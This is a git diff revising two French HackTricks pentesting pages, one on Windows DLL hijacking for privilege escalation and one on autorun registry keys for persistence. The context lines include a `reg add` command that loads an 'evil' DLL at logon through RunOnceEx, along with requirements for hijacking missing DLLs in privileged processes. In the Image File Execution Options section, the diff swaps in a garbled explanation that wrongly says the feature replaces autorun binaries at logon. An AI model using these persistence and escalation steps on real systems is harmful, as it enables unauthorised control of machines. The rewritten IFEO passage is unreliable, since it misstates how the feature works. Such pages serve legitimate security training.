* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -20,7 +20,7 @@ Si vous êtes intéressé par une **carrière en piratage** et que vous voulez p
|
|||
|
||||
## Définition
|
||||
|
||||
Tout d'abord, clarifions la définition. Le détournement de DLL consiste, dans le sens le plus large, à **tromper une application légitime/fiable pour qu'elle charge une DLL arbitraire**. Les termes tels que _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ et _DLL Side-Loading_ sont souvent -à tort- utilisés pour dire la même chose.
|
||||
Tout d'abord, clarifions la définition. Le détournement de DLL consiste, dans le sens le plus large, à **tromper une application légitime/fiable pour qu'elle charge une DLL arbitraire**. Les termes tels que _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ et _DLL Side-Loading_ sont souvent - à tort - utilisés pour dire la même chose.
|
||||
|
||||
Le détournement de DLL peut être utilisé pour **exécuter** du code, obtenir **une persistance** et **élever les privilèges**. Parmi ces 3 options, l'**élévation de privilèges** est de loin la moins probable à trouver. Cependant, comme cela fait partie de la section sur l'élévation de privilèges, je me concentrerai sur cette option. Notez également que, indépendamment de l'objectif, un détournement de DLL est effectué de la même manière.
|
||||
|
||||
|
@ -68,11 +68,11 @@ Vous pouvez voir l'**ordre de recherche des DLL sur les systèmes 32 bits** ci-d
|
|||
5. Le répertoire courant.
|
||||
6. Les répertoires répertoriés dans la variable d'environnement PATH. Notez que cela n'inclut pas le chemin spécifié par la clé de registre **App Paths** spécifique à chaque application. La clé **App Paths** n'est pas utilisée lors du calcul du chemin de recherche des DLL.
|
||||
|
||||
C'est l'**ordre de recherche par défaut avec SafeDllSearchMode activé**. Lorsqu'il est désactivé, le répertoire courant passe en deuxième position. Pour désactiver cette fonctionnalité, créez la valeur de registre **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager\\SafeDllSearchMode** et définissez-la sur 0 (par défaut, elle est activée).
|
||||
C'est l'**ordre de recherche par défaut** avec **SafeDllSearchMode** activé. Lorsqu'il est désactivé, le répertoire courant passe en deuxième position. Pour désactiver cette fonctionnalité, créez la valeur de registre **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager\\SafeDllSearchMode** et définissez-la sur 0 (par défaut, elle est activée).
|
||||
|
||||
Si la fonction [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) est appelée avec **LOAD\_WITH\_ALTERED\_SEARCH\_PATH**, la recherche commence dans le répertoire du module exécutable que **LoadLibraryEx** est en train de charger.
|
||||
Si la fonction [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) est appelée avec **LOAD\_WITH\_ALTERED\_SEARCH\_PATH**, la recherche commence dans le répertoire du module exécutable que **LoadLibraryEx** charge.
|
||||
|
||||
Enfin, notez qu'une DLL peut être chargée en indiquant le chemin absolu au lieu du simple nom. Dans ce cas, cette DLL **sera uniquement recherchée dans ce chemin** (si la DLL a des dépendances, elles seront recherchées en utilisant uniquement leur nom).
|
||||
Enfin, notez qu'une DLL peut être chargée en indiquant le chemin absolu au lieu du simple nom. Dans ce cas, cette DLL ne sera **recherchée que dans ce chemin** (si la DLL a des dépendances, elles seront recherchées en utilisant uniquement leur nom).
|
||||
|
||||
Il existe d'autres façons de modifier l'ordre de recherche, mais je ne vais pas les expliquer ici.
|
||||
|
||||
|
@ -80,17 +80,17 @@ Il existe d'autres façons de modifier l'ordre de recherche, mais je ne vais pas
|
|||
|
||||
* Si une **DLL avec le même nom de module est déjà chargée en mémoire**, le système vérifie uniquement la redirection et un manifeste avant de résoudre la DLL chargée, quel que soit le répertoire dans lequel elle se trouve. **Le système ne recherche pas la DLL**.
|
||||
* Si la DLL est dans la liste des **DLL connues** pour la version de Windows sur laquelle l'application s'exécute, le **système utilise sa copie de la DLL connue** (et les DLL dépendantes de la DLL connue, le cas échéant) **au lieu de rechercher** la DLL. Pour obtenir la liste des DLL connues sur le système actuel, consultez la clé de registre suivante : **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**.
|
||||
* Si une DLL a des dépendances, le système recherche les DLL dépendantes comme si elles étaient chargées uniquement avec leurs noms de module. Cela est vrai même si la première DLL a été chargée en spécifiant un chemin complet.
|
||||
* Si une DLL a des dépendances, le système **recherche** les DLL dépendantes comme si elles étaient chargées avec seulement leurs **noms de module**. Cela est vrai **même si la première DLL a été chargée en spécifiant un chemin complet**.
|
||||
|
||||
### Escalade de privilèges
|
||||
|
||||
**Prérequis** :
|
||||
|
||||
* **Trouver un processus** qui s'exécute/va s'exécuter avec **d'autres privilèges** (mouvement horizontal/lateral) et qui **manque d'une DLL**.
|
||||
* Avoir **l'autorisation d'écriture** sur n'importe quel **dossier** où la DLL va être **recherchée** (probablement le répertoire de l'exécutable ou un dossier à l'intérieur du chemin système).
|
||||
* Avoir **l'autorisation d'écriture** dans n'importe quel **dossier** où la **DLL** va être **recherchée** (probablement le répertoire de l'exécutable ou un dossier dans le chemin système).
|
||||
|
||||
Oui, les prérequis sont difficiles à trouver car **par défaut, il est assez étrange de trouver un exécutable privilégié qui manque d'une DLL** et c'est encore **plus étrange d'avoir des autorisations d'écriture sur un dossier du chemin système** (vous ne pouvez pas par défaut). Mais, dans des environnements mal configurés, cela est possible.\
|
||||
Dans le cas où vous avez de la chance et que vous vous trouvez dans cette situation, vous pouvez consulter le projet [UACME](https://github.com/hfiref0x/UACME). Même si l'**objectif principal du projet est de contourner l'UAC**, vous pouvez y trouver une **preuve de concept** d'un détournement de DLL pour la version de Windows que vous pouvez utiliser (en changeant probablement le chemin du dossier où vous avez des autorisations d'écriture).
|
||||
Oui, les prérequis sont difficiles à trouver car **par défaut, il est assez étrange de trouver un exécutable privilégié manquant d'une DLL** et il est encore **plus étrange d'avoir l'autorisation d'écriture dans un dossier du chemin système** (ce n'est pas possible par défaut). Mais, dans des environnements mal configurés, cela est possible.\
|
||||
Dans le cas où vous avez de la chance et que vous vous trouvez dans cette situation, vous pouvez consulter le projet [UACME](https://github.com/hfiref0x/UACME). Même si l'**objectif principal du projet est de contourner l'UAC**, vous y trouverez peut-être une **preuve de concept** d'un détournement de DLL pour la version de Windows que vous pouvez utiliser (en changeant probablement le chemin du dossier où vous avez l'autorisation d'écriture).
|
||||
|
||||
Notez que vous pouvez **vérifier vos autorisations dans un dossier** en utilisant :
|
||||
```bash
|
||||
|
@ -227,9 +227,9 @@ break;
|
|||
return TRUE;
|
||||
}
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -238,7 +238,7 @@ Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -73,7 +73,7 @@ Registres AutoRun couramment connus :
|
|||
|
||||
Les clés de registre Run et RunOnce font en sorte que les programmes s'exécutent à chaque connexion d'un utilisateur. La valeur de données pour une clé est une ligne de commande ne dépassant pas 260 caractères.
|
||||
|
||||
**Exécutions de services** (peuvent contrôler le démarrage automatique des services au démarrage) :
|
||||
**Exécutions de services** (peuvent contrôler le démarrage automatique des services lors du démarrage) :
|
||||
|
||||
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||||
|
@ -89,7 +89,7 @@ Les clés de registre Run et RunOnce font en sorte que les programmes s'exécute
|
|||
* `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
|
||||
* `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
|
||||
|
||||
Il n'est pas créé par défaut sur Windows Vista et les versions ultérieures. Les entrées de clé de registre Run peuvent faire référence directement à des programmes ou les répertorier en tant que dépendance. Par exemple, il est possible de charger une DLL lors de la connexion en utilisant une clé "Depend" avec RunOnceEx : `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
|
||||
Il n'est pas créé par défaut sur Windows Vista et les versions ultérieures. Les entrées de clé de registre Run peuvent faire référence directement à des programmes ou les répertorier comme une dépendance. Par exemple, il est possible de charger une DLL lors de la connexion en utilisant une clé "Depend" avec RunOnceEx : `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
|
||||
|
||||
{% hint style="info" %}
|
||||
**Exploit 1** : Si vous pouvez écrire dans l'un des registres mentionnés dans **HKLM**, vous pouvez élever les privilèges lorsqu'un utilisateur différent se connecte.
|
||||
|
@ -241,9 +241,9 @@ Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Co
|
|||
* `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components`
|
||||
* `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
|
||||
|
||||
Active Setup s'exécute avant l'apparition du bureau. Les commandes lancées par Active Setup s'exécutent de manière synchrone, bloquant la connexion jusqu'à leur exécution. Active Setup est exécuté avant l'évaluation des entrées de registre Run ou RunOnce.
|
||||
Active Setup s'exécute avant l'apparition du bureau. Les commandes lancées par Active Setup s'exécutent de manière synchrone, bloquant la connexion jusqu'à ce qu'elles soient exécutées. Active Setup est exécuté avant l'évaluation des entrées de registre Run ou RunOnce.
|
||||
|
||||
À l'intérieur de ces clés, vous trouverez d'autres clés, chacune contenant des paires clé-valeur intéressantes. Les plus intéressantes sont :
|
||||
À l'intérieur de ces clés, vous trouverez d'autres clés, chacune contenant des valeurs clés intéressantes. Les plus intéressantes sont :
|
||||
|
||||
* **IsInstalled :**
|
||||
* 0 : La commande du composant ne s'exécutera pas.
|
||||
|
@ -306,13 +306,13 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\she
|
|||
|
||||
Les Options d'exécution des fichiers image sont une fonctionnalité de Windows qui permet de spécifier des actions à effectuer lorsqu'un programme est lancé. Cela peut être utilisé à des fins de débogage ou de surveillance, mais peut également être exploité par des attaquants pour obtenir des privilèges élevés.
|
||||
|
||||
L'une des utilisations courantes de cette fonctionnalité est de configurer un binaire autorun pour s'exécuter chaque fois qu'un programme spécifique est lancé. Cela peut être réalisé en ajoutant une clé de registre sous `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`. Le nom de la clé doit correspondre au nom du programme que vous souhaitez surveiller, et la valeur de la clé doit être le chemin du binaire autorun.
|
||||
L'une des utilisations courantes de cette fonctionnalité est l'escalade de privilèges locale en utilisant des binaires d'autorun. Les binaires d'autorun sont des programmes qui sont automatiquement exécutés lorsqu'un utilisateur se connecte à un système. En exploitant les Options d'exécution des fichiers image, un attaquant peut remplacer un binaire d'autorun légitime par un binaire malveillant, ce qui lui permet d'obtenir des privilèges élevés lors de la prochaine connexion de l'utilisateur.
|
||||
|
||||
Lorsque le programme est lancé, Windows exécute d'abord le binaire autorun spécifié avant de lancer le programme réel. Cela peut être exploité pour obtenir des privilèges élevés en remplaçant le binaire autorun par un programme malveillant qui élève les privilèges de l'utilisateur.
|
||||
Pour exploiter cette vulnérabilité, l'attaquant doit d'abord identifier un binaire d'autorun légitime qui est exécuté avec des privilèges élevés. Ensuite, il doit créer une clé de registre dans `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` avec le nom du binaire d'autorun légitime. Dans cette clé de registre, l'attaquant peut spécifier le chemin d'accès du binaire malveillant à exécuter à la place.
|
||||
|
||||
Pour exploiter cette vulnérabilité, un attaquant doit avoir un accès en écriture à la clé de registre mentionnée précédemment. Cela peut être obtenu en exploitant une autre vulnérabilité ou en utilisant des privilèges d'administrateur.
|
||||
Lorsque l'utilisateur se connecte au système, le binaire d'autorun légitime est remplacé par le binaire malveillant spécifié dans les Options d'exécution des fichiers image. Cela permet à l'attaquant d'obtenir des privilèges élevés et d'exécuter des actions malveillantes sur le système.
|
||||
|
||||
Pour se protéger contre cette attaque, il est recommandé de restreindre l'accès en écriture à la clé de registre `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`. De plus, il est important de maintenir le système d'exploitation et les applications à jour pour éviter l'exploitation de vulnérabilités connues.
|
||||
Pour se protéger contre cette technique d'escalade de privilèges, il est recommandé de restreindre les autorisations d'écriture sur les clés de registre liées aux Options d'exécution des fichiers image. De plus, il est important de surveiller les modifications apportées à ces clés de registre et de vérifier régulièrement l'intégrité des binaires d'autorun légitimes.
|
||||
```
|
||||
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
|
||||
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
|
||||
|
@ -333,9 +333,9 @@ Trouvez plus d'Autoruns comme les registres dans [https://www.microsoftpressstor
|
|||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|